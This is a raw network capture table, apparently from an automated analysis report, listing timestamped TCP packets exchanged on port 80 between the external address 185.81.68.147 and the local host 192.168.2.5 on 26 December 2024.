Dec 26, 2024 12:05:15.625241995 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.625293970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.626065016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.626163006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.626198053 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.626211882 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.627111912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.627155066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.627201080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.628253937 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.628367901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.628370047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.628413916 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.629167080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.629215002 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.629246950 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.629287958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.630146980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.630196095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.630224943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.630268097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.631401062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.631452084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.631485939 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.631536007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.632616043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.632664919 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.632673025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.632714987 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.633589029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.633647919 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.633713007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.633760929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.634697914 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.634743929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.634809971 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.634854078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.635706902 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.635756016 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.636073112 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.636116982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.636759996 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.636807919 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.636840105 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.636882067 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.638101101 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.638147116 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.638150930 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.638187885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.638912916 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.638932943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.638955116 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.638976097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.639719963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.639766932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.639771938 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.639815092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.640463114 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.640506983 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.640556097 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.640599012 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.641403913 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.641482115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.641499043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.641541004 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.642416954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.642468929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.642539978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.642584085 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.643450975 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.643497944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.643529892 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.643574953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.644479036 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.644526958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.644561052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.644604921 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.645576954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.645596981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.645626068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.645639896 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.646507025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.646553993 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.646595001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.646641970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.647528887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.647576094 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.647706032 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.647749901 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.648637056 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.648684978 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.648746967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.648792028 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.649600983 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.649650097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.649684906 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.649728060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.650753975 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.650800943 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.650850058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.650893927 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.652225018 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.652277946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.652343988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.652390003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.653148890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.653194904 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.653268099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.653312922 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.654223919 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.654274940 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.654314995 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.654356956 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.655066013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.655112028 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.655540943 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.655620098 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.655963898 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.656012058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.656060934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.656104088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.656800985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.656897068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.656951904 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.657816887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.657835960 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.657882929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.657917976 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.658895016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.659074068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.659137011 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.660190105 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.660209894 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.660245895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.660268068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.661303043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.661315918 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.661350965 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.662004948 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.662055016 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.662157059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.662203074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.662970066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.663017988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.663088083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.663135052 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.663942099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.663990974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.664056063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.664099932 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.665116072 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.665168047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.665210009 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.665257931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.666022062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.666066885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.666102886 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.666146994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.667144060 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.667156935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.667192936 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.668031931 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.668082952 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.668129921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.668190002 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.669075012 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.669123888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.669162035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.669204950 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.670047045 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.670094013 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.670180082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.670238018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.671205044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.671258926 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.671420097 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.671466112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.672202110 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.672363997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.672413111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.673228025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.673273087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.673336029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.673378944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.674330950 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.674344063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.674381018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.675323963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.675348997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.675396919 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.676445007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.678579092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.833395958 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.833455086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.833462954 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.833520889 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.833709955 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.833805084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.833875895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.833923101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.834652901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.834709883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.834731102 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.834744930 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.835601091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.835655928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.835664988 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.835704088 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.836716890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.836769104 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.836852074 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.836987019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.837778091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.837832928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.837930918 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.837975025 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.838831902 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.838881016 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.839006901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.839051008 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.840172052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.840315104 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.840359926 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.841135025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.841193914 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.841234922 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.841278076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.842091084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.842137098 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.842169046 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.842209101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.842946053 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.842998028 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.843000889 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.843044043 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.843724012 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.843772888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.843867064 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.843908072 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.844758034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.844816923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.844850063 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.844937086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.845762968 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.845813036 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.845844984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.845890045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.846852064 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.846903086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.846913099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.846952915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.847842932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.847981930 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.848037958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.848871946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.848922014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.849006891 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.849045038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.849862099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.849910021 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.849951982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.849992990 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.850904942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.850960016 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.851089954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.851135969 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.852353096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.852406025 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.852413893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.852453947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.853317976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.853368044 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.853401899 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.853562117 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.854160070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.854216099 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.854295969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.854397058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.854990959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.855045080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.855107069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.855273962 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.856046915 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.856101990 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.856153965 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.857038975 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.857095957 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.857171059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.857212067 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.858083963 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.858182907 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.858227015 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.859095097 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.859137058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.859199047 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.859239101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.860105991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.860169888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.860207081 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.860244036 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.861141920 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.861201048 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.861241102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.861320019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.862154961 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.862210035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.862273932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.862318039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.863185883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.863337994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.863395929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.864236116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.864286900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.864372969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.864444971 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.865333080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.865386009 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.865406990 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.865447998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.866477013 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.866548061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.866600037 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.867300034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.867345095 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.867409945 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.867453098 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.868367910 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.868412018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.868432045 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.868478060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.869349003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.869409084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.869441986 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.869481087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.870419025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.870476007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.870480061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.870619059 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:15.871401072 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:15.871454954 CET	49708	80	192.168.2.5	185.81.68.147
